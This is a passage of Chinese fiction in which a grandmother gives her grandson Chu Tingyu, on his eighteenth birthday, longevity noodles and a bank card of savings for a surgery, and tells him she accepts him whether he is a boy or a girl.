周君珩眼里闪过一丝惊喜,但还是摇头:“天冷,你早点回去。”虽然想跟褚亭玉多待一会,但这样的冷天,他不舍得让对方骑太久的车。
他指了指前面的公交车站,“接我的人很快就到。”
褚亭玉到家不过十分钟,他洗了手走进厨房,很自然接过老人手里的刀。案板上的食材比往日丰富不少,他心里明白缘由,却不点破,只是默默帮着择菜、清洗。
就两人的量,晚饭很快准备好了。老人催着他先去洗澡,等他擦着头发出来时,桌上已经摆好了饭菜。他的座位前,放着一碗热气腾腾的长寿面,面上卧着一枚金黄的煎蛋。
“快尝尝,”老人用围裙擦着手,眼角的皱纹里漾着笑意,“面要趁热吃。今天这蛋煎得正好。”
褚亭玉坐下吃了一口面:“很好吃。”
“好吃就多吃点。”老人在他对面坐下,目光温柔地看了一会褚亭玉吃面,也拿起筷子吃起来。
狭小的屋子里一时安静下来,只剩下碗筷轻碰的声响。
“小玉啊……”等褚亭玉吃得差不多了,老人才从衣袋里取出一个用手帕仔细包着的小包。
“怎么了?”褚亭玉抬头。
“今天你十八了,是大人了。”她一层层打开手帕,里面露出一张银行卡,“这钱,是姥姥给你存的。”
褚亭玉放下筷子:“您这是做什么?我自己有钱。”
“你那点钱哪够……”老人把卡往他前面推了推,“做手术不是小事。”
“您年纪大了,用钱的地方多。”褚亭玉看着那张卡,眉头皱了起来。
老人摇摇头,眼角微微发红:“姥姥用不上这些。你的身体……你的将来,比什么都重要。”
“那也不能用您的钱。”
“什么叫我的钱?”老人嗓门忽地一提,又慌忙压低了回去,像是怕人听见,“你这孩子…姥姥还能不知道你怎么想的?你总觉得自个儿跟别的孩子不一样,躲着人,不爱说话。”
她粗糙的手不由分说地盖在褚亭玉的手背上,握得很紧。褚亭玉手指蜷了一下,没抽开。
“可姥姥告诉你,”她声音沉了沉,“你在姥姥这儿,从来就跟别的孩子没两样。男孩子也好,女孩子也罢,你就是小玉,是姥姥的命根子。”
“姥姥没别的念想,就巴望着你心里痛快,你能堂堂正正、舒舒服服地过日子,比给我金山银山都强。”
饭桌上陷入了长长的沉默。最终,褚亭玉伸手接过了那张卡。
“…谢谢姥姥。”他声音有点哑。
老人脸上的皱纹顿时舒展开来。她重新拿起筷子,夹了一筷子菜到他碗上。
“面要凉了。”她说。